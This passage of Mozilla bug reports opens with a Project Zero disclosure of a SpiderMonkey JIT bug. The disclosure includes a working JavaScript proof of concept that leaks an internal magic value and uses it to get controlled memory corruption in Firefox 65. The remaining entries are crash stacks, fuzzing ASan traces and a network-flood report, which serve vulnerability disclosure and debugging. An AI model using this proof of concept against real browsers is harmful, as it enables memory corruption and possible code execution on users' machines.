for (let v25 = 0; v25 < 100000; v25++) {
// Should never be taken, but will be after triggering the bug (because both v3 and v1
// will be a JS_OPTIMIZED_OUT magic value).
if (v3 === v1) {
let magic = v3;
console.log("Magic is happening!");
// do something with magic
return;
}
if (v1) {
} else {
const v26 = {get:v8};
for (let v30 = 0; v30 < 1000; v30++) { }
}
}
Afterwards, the magic value will be stored in a local variable and can be freely used. What remains now is a way to use the magic value to cause further misbehaviour in the engine.
Spidermonkey uses different magic values in various places. These places commonly check for the existence of some specific magic value by calling `.isMagic(expectedMagicType)` on the value in question. For example, to check for the magic hole element, the code would invoke `elem.isMagic(JS_ELEMENTS_HOLE)`. The implementation of `isMagic` is shown below:
bool isMagic(JSWhyMagic why) const {
MOZ_ASSERT_IF(isMagic(), s_.payload_.why_ == why);
return isMagic();
}
Interestingly, this way of implementing it makes it possible to supply a different magic value than the expected one while still causing this function to return true, thus making the caller believe that it has the right magic value. As such, the JS_OPTIMIZED_OUT magic value can, in many cases, be used as any other magic value in the code.
One interesting use of magic values is JS_OPTIMIZED_ARGUMENTS, representing the `arguments` object. The idea is that e.g.
function foo() {
print(arguments[0]);
}
Gets compiled to bytecode like this:
push JS_OPTIMIZED_ARGUMENTS
LoadElem 0
call print
The special handling for the magic value is then performed here:
static bool DoGetElemFallback(JSContext* cx, BaselineFrame* frame,
ICGetElem_Fallback* stub, HandleValue lhs,
HandleValue rhs, MutableHandleValue res) {
// ...
bool isOptimizedArgs = false;
if (lhs.isMagic(JS_OPTIMIZED_ARGUMENTS)) {
// Handle optimized arguments[i] access.
if (!GetElemOptimizedArguments(cx, frame, &lhsCopy, rhs, res,
&isOptimizedArgs)) {
return false;
}
// ...
Which eventually ends up in:
inline Value& InterpreterFrame::unaliasedActual(
unsigned i, MaybeCheckAliasing checkAliasing) {
MOZ_ASSERT(i < numActualArgs());
MOZ_ASSERT_IF(checkAliasing, !script()->argsObjAliasesFormals());
MOZ_ASSERT_IF(checkAliasing && i < numFormalArgs(),
!script()->formalIsAliased(i));
return argv()[i]; // really is just argv_[i];
}
An [InterpreterFrame](https://github.com/mozilla/gecko-dev/blob/cfffcfb4c03737d963945c2025bbbe75beef45c6/js/src/vm/Stack.h#L85) is an object representing the invocation context of a JavaScript function.
Basically, there are two types of InterpreterFrames: [CallFrames](https://github.com/mozilla/gecko-dev/blob/cfffcfb4c03737d963945c2025bbbe75beef45c6/js/src/vm/Stack-inl.h#L51), which are used for regular function calls and thus have the `nactul_` (the number of arguments) and `argv_` (a pointer to the argument values) members initialized, and [ExecuteFrames](https://github.com/mozilla/gecko-dev/blob/cfffcfb4c03737d963945c2025bbbe75beef45c6/js/src/vm/Stack.cpp#L35), which are e.g. used for eval()ed code. Interestingly, ExecuteFrames leave `nactual_` and `argv_` uninitialized, which is normally fine as code would never access these fields in an ExecuteFrame. However, by having a reference to a magic value, it now becomes possible to trick the engine into believing that whatever frame is currently active is a CallFrame and thus has a valid `argv_` pointer by loading an element from the magic value (`magic[i]` in JS). Conveniently, InterpreterFrames are allocated by a bump allocator, used solely for the interpreter stack. As such, the allocations are very deterministic and it is easily possible to overlap the uninitialized member with any other data that is stored on the interpreter stack, such as local variables of functions.
The following PoC (tested against a local Spidermonkey build and Firefox 65.0.1) demonstrates this. It will first trigger the bug to leak the magic JS_OPTIMIZED_OUT value. Afterwards, it puts a controlled value (0x414141414141 in binary) on the interpreter stack (in `fill_stack`), then uses the magic value from inside an eval frame of which the `argv_` pointer overlaps with the controlled value. Spidermonkey will then assume that the current frame must be a FunctionFrame and treat the value as an `argv_` pointer, thus crashing at 0x414141414141.
// This function uses roughly sizeof(InterpreterFrame) + 14 * 8 bytes of interpreter stack memory.
function fill_stack() {
// Use lot's of stack slots to increase the allocation size of this InterpreterFrame.
var v1, v2, v3, v4, v5, v6, v7, v8, v9, v10, v11, v12, v13;
// Will overlap with the argv_ pointer in the InterpreterFrame for the call to eval.
var v14 = 3.54484805889626e-310;
}
// This function uses roughly sizeof(InterpreterFrame) bytes of interpreter stack memory. The inner
// call to eval will get its own InterpreterFrame, which leaves the argv_ pointer uninitialized
// (since it's an eval frame). However, due to having a magic value here, it is possible to trick
// the interpreter into accessing argv_ (because it assumes that the magic value represents an
// `arguments` object). The argv_ pointer of the inner frame will then overlap with one of the
// variables of the previous function, and is thus fully controllable.
function trigger(magic) {
eval(`magic[0]`);
}
// Invoke the two functions above to achieve memory corruption given a magic JS::Value.
function hax(magic) {
fill_stack();
trigger(magic);
}
function pwn() {
const v1 = "adsf";
const v3 = "not_asdf";
for (let v7 = 0; v7 < 2; v7++) {
function v8() {
let v13 = 0;
do {
v13++;
} while (v13 < 1200000);
// If the previous loop runs long enough, IonMonkey will JIT compile v8 and enter the
// JITed code via OSR. This will leave the hitCount for the loop exit in the interpreter
// at 0 (because the exit is taken in JITed code). This in turn will lead to IonMonkey
// pruning the loop exit when compiling pwn() (with inlined v8), as its heuristics
// suggest that the branch is never taken (hitCount == 0 and a few more). This will then
// lead to the incorrect removal of Phi nodes, and ultimately the leaking of a
// JS_OPTMIZED_OUT magic value to the baseline JIT, where it is observable for the
// current script.
}
const v15 = v8();
for (let v25 = 0; v25 < 100000; v25++) {
// Should never be taken, but will be after triggering the bug (because both v3 and v1
// will be a JS_OPTIMIZED_OUT magic value).
if (v3 === v1) {
let magic = v3;
console.log("Magic is happening!");
hax(magic);
return;
}
if (v1) {
} else {
const v26 = {get:v8};
for (let v30 = 0; v30 < 1000; v30++) { }
}
}
}
}
pwn();
Please note: this bug is subject to a 90 day disclosure deadline. After 90 days elapse or a patch has been made broadly available (whichever is earlier), the bug report will become visible to the public.
With any fix, please give credit for identifying the vulnerability to Samuel Groß of Google Project Zero.
|
|
1,533,539 | 13,972,438 |
This bug is for crash report bp-52c89481-80b3-410e-a87e-636d10190307.
New Linux crash spike which started in 20190307094951: https://bit.ly/2Uotp7X. 26 crashes/6 installs. One comment "Please re-add ALSA audio support into firefox"
Has been around before and fixed in Bug 1426867. Pushlog based on Build ID: https://hg.mozilla.org/mozilla-central/pushloghtml?fromchange=3e0cf2f77f07b258e8911ab5fd71a378c46fa1ec&tochange=c89f024c023fa816d700b151e8e0cbb9a1907cb8.
Perhaps kinetik can shed some light on this crash.
```
Top 10 frames of crashing thread:
0 libxul.so mozilla::CubebUtils::GetCubebContextUnlocked dom/media/CubebUtils.cpp:447
1 libxul.so mozilla::CubebUtils::GetCubebContext dom/media/CubebUtils.cpp:301
2 libxul.so mozilla::CubebDeviceEnumerator::CubebDeviceEnumerator dom/media/webrtc/CubebDeviceEnumerator.cpp:34
3 libxul.so mozilla::CubebDeviceEnumerator::GetInstance dom/media/webrtc/CubebDeviceEnumerator.cpp:14
4 libxul.so mozilla::MediaEngineWebRTC::EnumerateMicrophoneDevices dom/media/webrtc/MediaEngineWebRTC.cpp:163
5 libxul.so mozilla::MediaEngineWebRTC::EnumerateDevices dom/media/webrtc/MediaEngineWebRTC.cpp:269
6 libxul.so mozilla::GetMediaDevices dom/media/MediaManager.cpp:1469
7 libxul.so mozilla::MediaManager::EnumerateRawDevices const dom/media/MediaManager.cpp:1870
8 libxul.so mozilla::media::LambdaTask<mozilla::MediaManager::EnumerateRawDevices dom/media/systemservices/MediaTaskUtils.h:32
9 libxul.so nsThread::ProcessNextEvent xpcom/threads/nsThread.cpp:1179
```
|
|
1,523,427 | 13,889,960 |
User Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0
Steps to reproduce:
- Installed Firefox 65 release https://ftp.mozilla.org/pub/firefox/releases/65.0/ (exe package, 64-bit, EN)
- Launched Firefox
- Browsing web pages (specifically Facebook Messenger and Facebook causing the issue)
Actual results:
Firefox starts flooding my network with continued requests to edge-chat.facebook.com. My squid proxy log is flooded and looks like this:
...
1548713564.108 35 fdea:5b48:d4c1:1:e82d:509e:c563:fb6e TCP_TUNNEL/200 3309 CONNECT edge-chat.facebook.com:443 - HIER_DIRECT/2a03:2880:f008:1:face:b00c:0:1 -
1548713564.145 33 fdea:5b48:d4c1:1:e82d:509e:c563:fb6e TCP_TUNNEL/200 3309 CONNECT edge-chat.facebook.com:443 - HIER_DIRECT/2a03:2880:f008:1:face:b00c:0:1 -
1548713564.181 33 fdea:5b48:d4c1:1:e82d:509e:c563:fb6e TCP_TUNNEL/200 3308 CONNECT edge-chat.facebook.com:443 - HIER_DIRECT/2a03:2880:f008:1:face:b00c:0:1 -
1548713564.217 33 fdea:5b48:d4c1:1:e82d:509e:c563:fb6e TCP_TUNNEL/200 3309 CONNECT edge-chat.facebook.com:443 - HIER_DIRECT/2a03:2880:f008:1:face:b00c:0:1 -
1548713564.301 82 fdea:5b48:d4c1:1:e82d:509e:c563:fb6e TCP_TUNNEL/200 3310 CONNECT edge-chat.facebook.com:443 - HIER_DIRECT/2a03:2880:f008:1:face:b00c:0:1 -
1548713564.333 30 fdea:5b48:d4c1:1:e82d:509e:c563:fb6e TCP_TUNNEL/200 3309 CONNECT edge-chat.facebook.com:443 - HIER_DIRECT/2a03:2880:f008:1:face:b00c:0:1 -
...
Firefox seems to request the page in a loop. Effectively flooding my upload and download (approx. 1Mbps upload/download on a single machine in my case on). Rolling out this Firefox version in a larger network might cause a huge network load.
Also other services (mainly chat-like services) seem to experience those problem.
Even closing Facebook or messenger.com tabs does not stop the flood unless Firefox is closed down completely.
Expected results:
Firefox might fail to establish some socket or busy waiting and immediately re-tries. Effectively causing a connection flood.
Downgrading to Firefox 64 fixes the problem.
Re-upgrading to Firefox 65 immediately restarts the problem.
I tried to disable all add-ons at no avail. I can't make Firefox stop flooding the network.
|
|
1,525,546 | 13,906,922 |
This bug is for crash report bp-441e0b9f-7a7a-47dd-8c57-ca8240190206.
```
Top 10 frames of crashing thread:
0 xul.dll mozilla::dom::Element::GetAttr dom/base/Element.cpp:2684
1 xul.dll mozilla::a11y::XULMenuitemAccessible::AccessKey accessible/xul/XULMenuAccessible.cpp:146
2 xul.dll mozilla::a11y::XULMenuitemAccessibleWrap::get_accKeyboardShortcut accessible/windows/msaa/XULMenuAccessibleWrap.cpp:49
3 oleacc.dll AccWrap_Base::get_accKeyboardShortcut
4 oleacc.dll AccWrap_Annotate::get_accKeyboardShortcut
5 uiautomationcore.dll AccUtils::get_accStringProp
6 uiautomationcore.dll MsaaProxy::GetPropertyValue
7 uiautomationcore.dll UiaNode::ProviderGetPropertyValue
8 uiautomationcore.dll InProcClientAPIStub::InvokeInProcAPI
9 uiautomationcore.dll UiaNode::CrossProcess_GetPropertyValues
```
the crash signature is spiking up in firefox 66.0b builds (~.6% of browser crashes) - perhaps related to the changes in bug 1510476?
|
|
1,528,498 | 13,929,797 |
#32 crash for 60.5.0, so topicrash. Not a new signature in version 60 - not sure how I missed filing a bug sooner. (crash stats says the signature is around since 2016)
bp-87bbed40-4a9a-49b1-a1d8-291d20190112 is a typical stack. Reporter writes "cannot be opened, then very slow, persistant flickering, this is happening to me quite ofter and can result in being down for up to 2 days."
```
Top 10 frames of crashing thread:
0 xul.dll nsContentSecurityManager::IsOriginPotentiallyTrustworthy dom/security/nsContentSecurityManager.cpp:826
1 xul.dll nsContentUtils::HttpsStateIsModern dom/base/nsContentUtils.cpp:10067
2 xul.dll nsGlobalWindowOuter::ComputeIsSecureContext dom/base/nsGlobalWindowOuter.cpp:1498
3 xul.dll nsGlobalWindowOuter::SetNewDocument dom/base/nsGlobalWindowOuter.cpp:1844
4 xul.dll nsPresContext::GetDocumentColorPreferences layout/base/nsPresContext.cpp:576
5 xul.dll nsDocumentViewer::InitInternal layout/base/nsDocumentViewer.cpp:932
6 xul.dll nsDocumentViewer::Init layout/base/nsDocumentViewer.cpp:666
7 xul.dll nsDocShell::SetupNewViewer docshell/base/nsDocShell.cpp:9128
8 xul.dll nsDocShell::Embed docshell/base/nsDocShell.cpp:6935
9 xul.dll nsDocShell::CreateContentViewer docshell/base/nsDocShell.cpp:8928
```
bp-25eec6d1-1945-4db8-814f-4b61a0190124 "opening takes a long time and I often get a question first if I allow Thunderbird to make changes to this computer" " openen duurt lang en ik krijg vaak eerst een vraag of ik toesta dat Thunderbird wijzigingen mag aanbrengen in deze computer"
Another user equates the crash with compact prompt.
|
|
1,528,690 | 13,932,326 |
This bug is for crash report bp-dde28edf-0b5b-4a68-8d14-4e40d0190217.
```
Top 10 frames of crashing thread:
0 xul.dll nsresult mozilla::dom::indexedDB::`anonymous namespace'::DatabaseConnection::AutoSavepoint::Start dom/indexedDB/ActorsParent.cpp:10021
1 xul.dll nsresult mozilla::dom::indexedDB::`anonymous namespace'::ObjectStoreAddOrPutRequestOp::DoDatabaseWork dom/indexedDB/ActorsParent.cpp:23588
2 xul.dll void mozilla::dom::indexedDB::`anonymous namespace'::TransactionDatabaseOperationBase::RunOnConnectionThread dom/indexedDB/ActorsParent.cpp:21249
3 xul.dll nsresult mozilla::dom::indexedDB::`anonymous namespace'::TransactionDatabaseOperationBase::Run dom/indexedDB/ActorsParent.cpp:21399
4 xul.dll nsThread::ProcessNextEvent xpcom/threads/nsThread.cpp:1162
5 xul.dll NS_ProcessNextEvent xpcom/threads/nsThreadUtils.cpp:474
6 xul.dll nsresult mozilla::dom::indexedDB::`anonymous namespace'::ConnectionPool::ThreadRunnable::Run dom/indexedDB/ActorsParent.cpp:11738
7 xul.dll nsThread::ProcessNextEvent xpcom/threads/nsThread.cpp:1162
8 xul.dll NS_ProcessNextEvent xpcom/threads/nsThreadUtils.cpp:474
9 xul.dll mozilla::ipc::MessagePumpForNonMainThreads::Run ipc/glue/MessagePump.cpp:333
```
Found this in nightly but it doesn't seem like a new crash since it's present in various older versions.
|
|
1,529,559 | 13,939,068 |
The following testcase crashes on mozilla-central revision bf3951daded0+ (build with --enable-optimize --enable-posix-nspr-emulation --enable-valgrind --enable-gczeal --disable-jemalloc --disable-debug, run with --fuzzing-safe --cpu-count=2 --ion-offthread-compile=off --ion-warmup-threshold=1):
See attachment.
Backtrace:
Program terminated with signal SIGSEGV, Segmentation fault.
#0 js::jit::PatchJump (jump_=..., label=...) at js/src/jit/arm64/Assembler-arm64.cpp:377
#1 0x0000aaaafcc0264c in js::jit::IonCacheIRCompiler::compile (this=0xffffe6f37de0) at js/src/jit/IonCacheIRCompiler.cpp:632
#2 0x0000aaaafcc0c228 in js::jit::IonIC::attachCacheIRStub (this=0xaaab1fc8f3c0, cx=<optimized out>, writer=..., kind=<optimized out>, ionScript=<optimized out>, attached=0xffffe6f391c4, typeCheckInfo=0x0) at js/src/jit/IonCacheIRCompiler.cpp:2570
#3 0x0000aaaafcc1a8b8 in js::jit::IonGetPropertyIC::update (cx=0xaaab1faa6ab0, outerScript=..., ic=<optimized out>, val=..., idVal=..., res=...) at js/src/jit/IonIC.cpp:149
#4 0x00003e14b9117540 in ?? ()
#5 0x0000ffffe6f396e0 in ?? ()
Backtrace stopped: previous frame inner to this frame (corrupt stack?)
x0 0x0 0
x1 0xb91587c8 68258725464008
x2 0x0 0
x3 0xc38b4be0 68258900954080
x4 0xe6f38329 281474556461865
x5 0xc38b4c41 68258900954177
x6 0xc8 200
x7 0xc8 200
x8 0x0 0
x9 0xfe05b440 187651382948928
x10 0xfd1b8ce0 187651367603424
x11 0x179 377
x12 0x0 0
x13 0xe6f38118 281474556461336
x14 0x0 0
x15 0x400 1024
x16 0xfd4f0358 187651370976088
x17 0xe74790 281462106965904
x18 0x1fff 8191
x19 0xb91587c8 68258725464008
x20 0xc38b4bd4 68258900954068
x21 0x1345a20 281462112016928
x22 0xe6f38ea8 281474556464808
x23 0xfd1c0aec 187651367635692
x24 0x14c 332
x25 0x1 274877906945
x26 0x1 1
x27 0x1345a20 281462112016928
x28 0xe6f39290 281474556465808
x29 0xe6f37cd0 281474556460240
x30 0xfcafa154 187651360530772
sp 0xe6f37cc0 281474556460224
pc 0xaaaafcafa188 <js::jit::PatchJump(js::jit::CodeLocationJump&, js::jit::CodeLocationLabel)+92>
cpsr [ EL=0 C N ]
fpcsr void
fpcr 0x0 0
=> 0xaaaafcafa188 <js::jit::PatchJump(js::jit::CodeLocationJump&, js::jit::CodeLocationLabel)+92>: str w11, [x8]
0xaaaafcafa18c <js::jit::PatchJump(js::jit::CodeLocationJump&, js::jit::CodeLocationLabel)+96>: bl 0xaaaafc5c3608 <abort()>
This requires native ARM64 and the patch from bug 1528869 to enable ARM64 Ion in the JS shell. Unfortunately, reducing the test makes it highly intermittent. Sean, if you could figure out where the intermittent behavior is coming from when fixing this, that would be a great bonus.
Marking s-s because this will likely be security-sensitive once we enable the ARM64 JIT.
|
|
1,529,593 | 13,939,261 |
User Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0
Steps to reproduce:
1. Make sure browser.launcherProcess.enabled is set to true.
2. Restart PC and enter UEFI setup.
3. Change memory speed to another value.
4. Reboot PC.
5. Start Fx.
Actual results:
about:support displays 'Launcher Process Disabled due to failure.'
'browser.launcherProcess.enabled' is still set to true however.
To make the Launcher Process enabled again I have to set it to false, restart Fx, and then set it to true. It's possible, though not tested, that changing other UEFI options might also produce the same results. I have not seen this however.
100% reproducible on my machine for the memory speed change.
Expected results:
Launcher Process should remain enabled when changing memory speed in BIOS.
|
|
1,537,883 | 14,002,553 |
This bug is for crash report bp-f823365b-7e0d-4c57-962f-f40fb0190320.
```
Top 10 frames of crashing thread:
0 xul.dll mozilla::net::HttpBaseChannel::SetLoadInfo netwerk/protocol/http/HttpBaseChannel.cpp:565
1 xul.dll mozilla::net::nsHttpHandler::NewProxiedChannel netwerk/protocol/http/nsHttpHandler.cpp:2130
2 xul.dll nsresult mozilla::net::nsHttpsHandler::NewProxiedChannel netwerk/protocol/http/nsHttpHandler.h:748
3 xul.dll nsresult mozilla::net::nsIOService::NewChannelFromURIWithProxyFlagsInternal netwerk/base/nsIOService.cpp:936
4 xul.dll nsresult mozilla::net::nsIOService::NewChannelFromURIWithProxyFlags netwerk/base/nsIOService.cpp:993
5 xul.dll nsresult mozilla::net::nsIOService::SpeculativeConnectInternal netwerk/base/nsIOService.cpp:1774
6 xul.dll nsresult mozilla::net::nsIOService::SpeculativeConnect netwerk/base/nsIOService.cpp:1805
7 xul.dll NS_InvokeByIndex
8 xul.dll static bool XPCWrappedNative::CallMethod js/xpconnect/src/XPCWrappedNative.cpp:1144
9 xul.dll static bool XPC_WN_CallMethod js/xpconnect/src/XPCWrappedNativeJSOps.cpp:941
```
crash reports with `MOZ_RELEASE_ASSERT(aLoadInfo) (loadinfo can't be null)` that got added in bug 1533159 are newly appearing in firefox 67.
they are accounting for ~0.5% of browser crashes on 67.0b3 currently.
|
|
1,538,042 | 14,003,673 |
Found while fuzzing mozilla-central rev feda786b35cb. I'm currently reducing the testcase and will attach it once it's done.
==29764==ERROR: AddressSanitizer: global-buffer-overflow on address 0x7f3ffa2a489e at pc 0x7f3ff72c6abd bp 0x7ffebc1adb10 sp 0x7ffebc1adb08
READ of size 2 at 0x7f3ffa2a489e thread T0 (file:// Content)
#0 0x7f3ff72c6abc in nsFind::Find(char16_t const*, nsRange*, nsRange*, nsRange*, nsRange**) /builds/worker/workspace/build/src/toolkit/components/find/nsFind.cpp:628:12
#1 0x7f3ff72c9b67 in nsWebBrowserFind::SearchInFrame(nsPIDOMWindowOuter*, bool, bool*) /builds/worker/workspace/build/src/toolkit/components/find/nsWebBrowserFind.cpp:676:14
#2 0x7f3ff72c7a87 in nsWebBrowserFind::FindNext(bool*) /builds/worker/workspace/build/src/toolkit/components/find/nsWebBrowserFind.cpp:109:8
#3 0x7f3fecec0f75 in nsGlobalWindowOuter::FindOuter(nsTSubstring<char16_t> const&, bool, bool, bool, bool, bool, bool, mozilla::ErrorResult&) /builds/worker/workspace/build/src/dom/base/nsGlobalWindowOuter.cpp:6589:20
#4 0x7f3fef5462f4 in mozilla::dom::Window_Binding::find(JSContext*, JS::Handle<JSObject*>, nsGlobalWindowInner*, JSJitMethodCallArgs const&) /builds/worker/workspace/build/src/obj-firefox/dom/bindings/WindowBinding.cpp:6594:21
#5 0x7f3ff04d12f8 in bool mozilla::dom::binding_detail::GenericMethod<mozilla::dom::binding_detail::MaybeGlobalThisPolicy, mozilla::dom::binding_detail::ThrowExceptions>(JSContext*, unsigned int, JS::Value*) /builds/worker/workspace/build/src/dom/bindings/BindingUtils.cpp:3144:13
#6 0x7f3ff7c3b4a7 in CallJSNative /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:442:13
#7 0x7f3ff7c3b4a7 in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:534
#8 0x7f3ff8ddefd2 in js::jit::DoCallFallback(JSContext*, js::jit::BaselineFrame*, js::jit::ICCall_Fallback*, unsigned int, JS::Value*, JS::MutableHandle<JS::Value>) /builds/worker/workspace/build/src/js/src/jit/BaselineIC.cpp:3818:10
#9 0x345896d69887 (<unknown module>)
0x7f3ffa2a489e is located 2 bytes to the left of global variable 'gNullChar' defined in '/builds/worker/workspace/build/src/xpcom/string/nsSubstring.cpp:56:23' (0x7f3ffa2a48a0) of size 2
0x7f3ffa2a489e is located 46 bytes to the right of global variable '<string literal>' defined in '/builds/worker/workspace/build/src/xpcom/string/nsTString.h:454:5' (0x7f3ffa2a47c0) of size 176
'<string literal>' is ascii string 'MOZ_RELEASE_ASSERT(this->mData[substring_type::mLength] == 0) (nsTDependentString must wrap only null-terminated strings. You are probably looking for nsTDependentSubstring.)'
SUMMARY: AddressSanitizer: global-buffer-overflow /builds/worker/workspace/build/src/toolkit/components/find/nsFind.cpp:628:12 in nsFind::Find(char16_t const*, nsRange*, nsRange*, nsRange*, nsRange**)
Shadow bytes around the buggy address:
0x0fe87f44c8c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0fe87f44c8d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0fe87f44c8e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0fe87f44c8f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0fe87f44c900: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f9 f9
=>0x0fe87f44c910: f9 f9 f9[f9]02 f9 f9 f9 f9 f9 f9 f9 00 00 00 00
0x0fe87f44c920: 00 00 00 03 f9 f9 f9 f9 00 00 00 00 00 00 00 00
0x0fe87f44c930: 00 07 f9 f9 f9 f9 f9 f9 00 00 00 00 00 00 07 f9
0x0fe87f44c940: f9 f9 f9 f9 00 00 00 00 00 00 00 00 00 03 f9 f9
0x0fe87f44c950: f9 f9 f9 f9 06 f9 f9 f9 f9 f9 f9 f9 00 06 f9 f9
0x0fe87f44c960: f9 f9 f9 f9 02 f9 f9 f9 f9 f9 f9 f9 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
Shadow gap: cc
==29764==ABORTING
|
|
1,539,208 | 14,012,701 |
This bug is for crash report bp-e2a901ca-d898-4dc5-bbe9-6d95f0190326.
Seen while looking at Fennec release crash stats, but visible on other branches as well: https://bit.ly/2TwONXr. This was visible in 65/65.0.1 with over 3K in crashes. #19 overall in the current 66 release.
Comments mentioning scrolling and zooming in on openstreet maps.
(40.26% in signature vs 00.46% overall) useragent_locale = fi
```
Top 10 frames of crashing thread:
0 libxul.so mozilla::dom::FetchDriver::OnDataAvailable dom/fetch/InternalResponse.h:71
1 libxul.so nsCORSListenerProxy::OnDataAvailable netwerk/protocol/http/nsCORSListenerProxy.cpp:636
2 libxul.so mozilla::net::InterceptedHttpChannel::OnDataAvailable netwerk/protocol/http/InterceptedHttpChannel.cpp:1080
3 libxul.so nsInputStreamPump::OnInputStreamReady netwerk/base/nsInputStreamPump.cpp:554
4 libxul.so nsInputStreamReadyEvent::Run xpcom/io/nsStreamUtils.cpp:91
5 libxul.so nsThread::ProcessNextEvent xpcom/threads/nsThread.cpp:1180
6 libxul.so NS_ProcessNextEvent xpcom/threads/nsThreadUtils.cpp:482
7 libxul.so mozilla::ipc::MessagePump::Run ipc/glue/MessagePump.cpp:88
8 libxul.so MessageLoop::Run ipc/chromium/src/base/message_loop.cc:315
9 libxul.so nsBaseAppShell::Run widget/nsBaseAppShell.cpp:137
```
|
|
1,539,219 | 14,012,769 |
Testcase found while fuzzing mozilla-central rev 4572f6055a6a. I'm currently reducing the testcase and will update once complete.
==8994==ERROR: AddressSanitizer: heap-use-after-free on address 0x611000481b40 at pc 0x7fbb1c28a4d0 bp 0x7ffdec95d640 sp 0x7ffdec95d638
READ of size 8 at 0x611000481b40 thread T0 (file:// Content)
#0 0x7fbb1c28a4cf in IsCurrentThread /src/xpcom/base/nsISupportsImpl.cpp:45:10
#1 0x7fbb1c28a4cf in nsAutoOwningThread::AssertCurrentThreadOwnsMe(char const*) const /src/xpcom/base/nsISupportsImpl.cpp:38
#2 0x7fbb25ed445e in AssertOwnership<27> /src/obj-firefox/dist/include/nsISupportsImpl.h:59:5
#3 0x7fbb25ed445e in AssertIsOnOwningThread /src/dom/indexedDB/IDBRequest.h:153
#4 0x7fbb25ed445e in SetTransaction /src/dom/indexedDB/IDBRequest.cpp:444
#5 0x7fbb25ed445e in mozilla::dom::indexedDB::BackgroundVersionChangeTransactionChild::RecvComplete(nsresult const&) /src/dom/indexedDB/ActorsChild.cpp:2391
#6 0x7fbb1e4e22e0 in mozilla::dom::indexedDB::PBackgroundIDBVersionChangeTransactionChild::OnMessageReceived(IPC::Message const&) /src/obj-firefox/ipc/ipdl/PBackgroundIDBVersionChangeTransactionChild.cpp:496:20
#7 0x7fbb1df3de77 in mozilla::ipc::PBackgroundChild::OnMessageReceived(IPC::Message const&) /src/obj-firefox/ipc/ipdl/PBackgroundChild.cpp:2828:28
#8 0x7fbb1d77c289 in mozilla::ipc::MessageChannel::DispatchAsyncMessage(IPC::Message const&) /src/ipc/glue/MessageChannel.cpp:2151:21
#9 0x7fbb1d777fca in mozilla::ipc::MessageChannel::DispatchMessage(IPC::Message&&) /src/ipc/glue/MessageChannel.cpp:2078:9
#10 0x7fbb1d77a207 in mozilla::ipc::MessageChannel::RunMessage(mozilla::ipc::MessageChannel::MessageTask&) /src/ipc/glue/MessageChannel.cpp:1937:3
#11 0x7fbb1d77af97 in mozilla::ipc::MessageChannel::MessageTask::Run() /src/ipc/glue/MessageChannel.cpp:1968:13
#12 0x7fbb1c466c65 in mozilla::SchedulerGroup::Runnable::Run() /src/xpcom/threads/SchedulerGroup.cpp:295:32
#13 0x7fbb1c4a65e1 in nsThread::ProcessNextEvent(bool, bool*) /src/xpcom/threads/nsThread.cpp:1180:14
#14 0x7fbb1c4ae9ed in NS_ProcessNextEvent(nsIThread*, bool) /src/xpcom/threads/nsThreadUtils.cpp:482:10
#15 0x7fbb1d785684 in mozilla::ipc::MessagePump::Run(base::MessagePump::Delegate*) /src/ipc/glue/MessagePump.cpp:110:5
#16 0x7fbb1d65bc5e in RunInternal /src/ipc/chromium/src/base/message_loop.cc:315:10
#17 0x7fbb1d65bc5e in RunHandler /src/ipc/chromium/src/base/message_loop.cc:308
#18 0x7fbb1d65bc5e in MessageLoop::Run() /src/ipc/chromium/src/base/message_loop.cc:290
#19 0x7fbb26b09eb3 in nsBaseAppShell::Run() /src/widget/nsBaseAppShell.cpp:137:27
#20 0x7fbb2b0fac7e in XRE_RunAppShell() /src/toolkit/xre/nsEmbedFunctions.cpp:933:20
#21 0x7fbb1d65bc5e in RunInternal /src/ipc/chromium/src/base/message_loop.cc:315:10
#22 0x7fbb1d65bc5e in RunHandler /src/ipc/chromium/src/base/message_loop.cc:308
#23 0x7fbb1d65bc5e in MessageLoop::Run() /src/ipc/chromium/src/base/message_loop.cc:290
#24 0x7fbb2b0f9e0c in XRE_InitChildProcess(int, char**, XREChildData const*) /src/toolkit/xre/nsEmbedFunctions.cpp:771:34
#25 0x55bc213c5834 in content_process_main /src/browser/app/../../ipc/contentproc/plugin-container.cpp:56:28
#26 0x55bc213c5834 in main /src/browser/app/nsBrowserApp.cpp:263
#27 0x7fbb4044482f in __libc_start_main /build/glibc-Cl5G7W/glibc-2.23/csu/../csu/libc-start.c:291
#28 0x55bc212eaebc in _start (/home/ubuntu/builds/m-c-20190326095147-fuzzing-asan-opt/firefox+0x2debc)
0x611000481b40 is located 64 bytes inside of 248-byte region [0x611000481b00,0x611000481bf8)
freed by thread T0 (file:// Content) here:
#0 0x55bc213929e2 in free /builds/worker/workspace/moz-toolchain/src/llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:124:3
#1 0x7fbb1c26ad81 in SnowWhiteKiller::~SnowWhiteKiller() /src/xpcom/base/nsCycleCollector.cpp:2416:7
#2 0x7fbb1c269433 in nsCycleCollector::FreeSnowWhite(bool) /src/xpcom/base/nsCycleCollector.cpp:2607:3
#3 0x7fbb1c275d12 in nsCycleCollector::BeginCollection(ccType, nsICycleCollectorListener*) /src/xpcom/base/nsCycleCollector.cpp:3578:3
#4 0x7fbb1c274fa5 in nsCycleCollector::Collect(ccType, js::SliceBudget&, nsICycleCollectorListener*, bool) /src/xpcom/base/nsCycleCollector.cpp:3407:9
#5 0x7fbb1c279f76 in nsCycleCollector_collect(nsICycleCollectorListener*) /src/xpcom/base/nsCycleCollector.cpp:3943:21
